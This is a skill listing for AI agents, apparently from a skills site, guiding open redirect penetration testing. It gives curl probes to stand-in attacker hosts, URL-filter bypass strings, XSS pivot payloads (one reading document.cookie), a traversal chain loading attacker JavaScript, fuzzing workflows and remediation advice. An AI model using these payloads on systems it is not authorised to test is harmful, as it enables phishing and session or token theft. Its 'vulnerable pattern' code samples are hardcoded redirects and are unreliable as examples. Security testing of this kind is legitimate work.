# Open Redirect Pentest

> Detect and exploit open redirect vulnerabilities in web applications. Use this skill whenever you need to test for open redirect bugs, analyze redirect parameters, bypass URL validation filters, or chain redirects with XSS/SSRF. Trigger this skill for any web security testing involving URL redirects, OAuth flows, login redirects, or when you see parameters like next=, url=, redirect=, return=, dest=, or similar redirect-related inputs.

- Skill: `abelrguezr/open-redirect-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/open-redirect-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/open-redirect-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/open-redirect-pentest

---


# Open Redirect Pentesting

A comprehensive skill for detecting, testing, and exploiting open redirect vulnerabilities in web applications.

## When to Use This Skill

Use this skill when:
- Testing web applications for redirect vulnerabilities
- Analyzing OAuth/OIDC flows for redirect_uri issues
- Bypassing URL validation filters
- Chaining redirects with XSS or SSRF
- Fuzzing redirect parameters at scale
- Investigating suspicious redirect behavior

## Quick Start

```bash
# Single URL check
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

# Fuzz redirect parameters
cat candidates.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```

## Detection Workflow

### Step 1: Identify Redirect Parameters

Look for these common redirect parameter names:

**Query Parameters:**
- `next`, `url`, `target`, `rurl`, `dest`, `destination`
- `redir`, `redirect_uri`, `redirect_url`, `redirect`
- `return`, `returnTo`, `return_to`, `return_path`
- `continue`, `go`, `goto`, `jump`, `jump_url`
- `callback_url`, `forward_url`, `forward`
- `checkout_url`, `login`, `logout`, `ext`
- `clickurl`, `click?u`, `originUrl`, `origin`
- `desturl`, `page`, `action`, `action_url`
- `service`, `recurl`, `link`, `src`, `location`
- `burl`, `request`, `backurl`, `RedirectUrl`, `ReturnUrl`
- `qurl`, `data`, `success`, `pic`, `sp_url`

**Path Patterns:**
- `/redirect/{payload}`
- `/cgi-bin/redirect.cgi?{payload}`
- `/out/{payload}` or `/out?{payload}`
- `/login?to={payload}`

### Step 2: Test Basic Redirects

```bash
# Test with scheme-relative URL (bypasses many filters)
curl -s -I "https://target.tld/page?url=//evil.example.com" | grep -i location

# Test with javascript: scheme
curl -s -I "https://target.tld/page?url=javascript:alert(1)" | grep -i location

# Test with trusted domain in userinfo
curl -s -I "https://target.tld/page?url=https://trusted.com@evil.com/" | grep -i location
```

### Step 3: Bypass Validation Filters

#### Loopback/Localhost Variants

When the app allows only internal hosts, try these loopback notations:

**IPv4:**
- `127.0.0.1`, `127.1`, `2130706433` (decimal), `0x7f000001` (hex)
- `017700000001` (octal), `127.0.0.1.` (trailing dot)
- `localhost.`, `LOCALHOST` (casing)

**IPv6:**
- `[::1]`, `[0:0:0:0:0:0:0:1]`, `[::ffff:127.0.0.1]`

**Wildcard DNS (resolves to loopback):**
- `lvh.me`, `sslip.io` (e.g., `127.0.0.1.sslip.io`)
- `traefik.me`, `localtest.me`

#### URL Parsing Tricks

**Network-path references:**
```
//attacker.tld  # Scheme-relative, uses current scheme
```

**Userinfo tricks:**
```
https://trusted.tld@attacker.tld/  # Browser goes to attacker.tld
https://trusted.tld\@attacker.tld/  # Backslash confusion
```

**Backslash confusion:**
Some backends treat `\` as a path character while browsers normalize to `/`:
```
https://trusted.tld\@attacker.tld
https://trusted.tld\evil.tld
```

#### XSS Pivot Payloads

```javascript
javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)  # CRLF bypass
javascript://sub.domain.com/%0Aalert(1)  # Subdomain filter bypass
javascript://%250Aalert(1)  # Double-encoded newline
javascript://%250Aalert(1)//?1  # With query parameter
%09Jav%09ascript:alert(document.domain)  # Whitespace injection
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript://https://whitelisted.com/?z=%0Aalert(1)
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```

#### Advanced Bypass Techniques

**Scheme-relative:**
```
//evil.example
```

**Credentials trick:**
```
https://trusted.example@evil.example/
```

**Backslash confusion:**
```
https://trusted.example\@evil.example/
```

**Whitespace/control chars:**
```
evil.example%00
%09//evil.example
```

**Prefix/suffix matching flaws:**
```
https://trusted.example.evil.example/
https://evil.example/trusted.example
```

**Path-based bypasses:**
```
/\\evil.example
/..//evil.example
```

## Automated Testing

### Using OpenRedireX

```bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX
cd OpenRedireX
./setup.sh

# Fuzz candidate URLs
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```

### Using Oralyzer

```bash
# Install and run
git clone https://github.com/0xNanda/Oralyzer
cd Oralyzer
# Follow installation instructions
```

### Custom Fuzzing Workflow

```bash
# 1. Gather historical URLs
cat domains.txt | gau --o urls.txt
# Alternative: waybackurls, katana, hakrawler

# 2. Extract redirect parameters
grep -iE "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
  | sed 's/\r$//' | sort -u > candidates.txt

# 3. Fuzz with payloads
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4. Filter interesting results
awk '/30[1237]|Location:/I' results.txt
```

## Client-Side Detection

Check for client-side redirect sinks in SPAs:

```javascript
// Look for these patterns in JavaScript
window.location = 
window.location.href =
window.location.assign(
window.location.replace(
window.location.search
window.location.hash

// Framework helpers that read query/hash
// React Router, Vue Router, Angular Router
```

### Meta Refresh and JavaScript Redirects

```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
```

## Advanced: Fragment Smuggling + Traversal Chain

### Server-Side Gap (Go url.Parse)

Validators that only inspect `URL.Path` and ignore `URL.Fragment`:

```
GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
```

Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so validation passes, but the response emits `Location: /\//attacker.com`.

### Client-Side Gap (SPA Path Traversal)

SPA helpers that decode paths for validation but return original strings:

```
/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
```

The validator checks `/dashboard/script/` (no `..`), returns the encoded string, and the browser walks to `/user/auth-tokens/rotate`.

### End-to-End Chain

```
https://<target>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
```

This chains path traversal with fragment-smuggled redirect to coerce the browser into fetching attacker JS.

## OAuth/OIDC Risks

Open redirects in OAuth flows can lead to account takeover by leaking authorization codes/tokens. Always test:

- `redirect_uri` parameters
- OAuth callback URLs
- SSO redirect endpoints

## Code Examples (Vulnerable Patterns)

### .NET
```csharp
response.redirect("~/mysafe-subdomain/login.aspx")
```

### Java
```java
response.redirect("http://mysafedomain.com");
```

### PHP
```php
<?php
header("Location: http://mysafedomain.com");
exit;
?>
```

## Remediation

1. **Whitelist allowed redirect destinations** - Maintain an explicit list of trusted URLs
2. **Use relative redirects** - Redirect to relative paths instead of absolute URLs
3. **Validate URL scheme and host** - Ensure scheme is http/https and host matches expected domain
4. **Use tokens for redirects** - Generate signed tokens instead of passing URLs directly
5. **Encode redirect parameters** - Properly encode all user input in redirect parameters

## References

- [PayloadsAllTheThings - Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)
- [Open Redirect Cheatsheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [PortSwigger - DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)
- [OpenRedireX](https://github.com/devanshbatham/OpenRedireX)
- [Oralyzer](https://github.com/0xNanda/Oralyzer)

